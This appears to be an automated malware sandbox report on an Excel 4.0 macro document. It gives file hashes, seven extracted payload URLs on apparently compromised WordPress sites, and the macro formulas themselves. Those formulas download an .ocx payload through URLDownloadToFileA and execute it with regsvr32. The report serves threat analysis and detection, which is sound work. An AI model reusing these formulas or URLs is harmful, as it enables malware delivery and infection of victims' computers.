General
-
Target
6b5fb2edcc88598e0656ee824ecc3a77fdac11e431d99d30f1280f602fa56be2
-
Size
35KB
-
MD5
573831eda99169eae0aa510f45caf98d
-
SHA1
62edef572ba6cca36c4f615e585a51aa58be53f5
-
SHA256
6b5fb2edcc88598e0656ee824ecc3a77fdac11e431d99d30f1280f602fa56be2
-
SHA512
1dd8ecf902aad15fe2ebacda005ec59293bffb8977b04059a17492b78c6604ff22dafdd7260858e7b514ecbe7d8c6d1b5ea21766a8de4fc781f2bc98bea49308
-
SSDEEP
768:hsmn9tnd5euAjOZpqcVbZYpoRuBlIiOKMArOoooooooooooooooooooooooooofS:hFtndguUOZZ1ZYpoQ/pMA6Kt
Malware Config
Extracted
https://dlqsclub.com/wp-content/uploads/8ST56kZvvQ/
https://blog.nilbt.com/wp-includes/Text/Diff/aleM3D/
https://idolevran.com/wp-admin/nKRqye7TwOjZVjvFib/
https://hindi.muslimmirror.com/wp-includes/NfqhqWd1AfATg6PH3MV/
https://appiterra.com/wp-admin/2sv4jwSsOGh9vD10/
https://reproartivf.com/4MFHyUfpZHmD9VMxCd/A/
https://britonsolicitors.com/wp-admin/mMYswFFOmBVkkjcb3/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://dlqsclub.com/wp-content/uploads/8ST56kZvvQ/","..\xdha.ocx",0,0) =IF('EGVSBSR'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://blog.nilbt.com/wp-includes/Text/Diff/aleM3D/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://idolevran.com/wp-admin/nKRqye7TwOjZVjvFib/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://hindi.muslimmirror.com/wp-includes/NfqhqWd1AfATg6PH3MV/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://appiterra.com/wp-admin/2sv4jwSsOGh9vD10/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://reproartivf.com/4MFHyUfpZHmD9VMxCd/A/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://britonsolicitors.com/wp-admin/mMYswFFOmBVkkjcb3/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xdha.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
6b5fb2edcc88598e0656ee824ecc3a77fdac11e431d99d30f1280f602fa56be2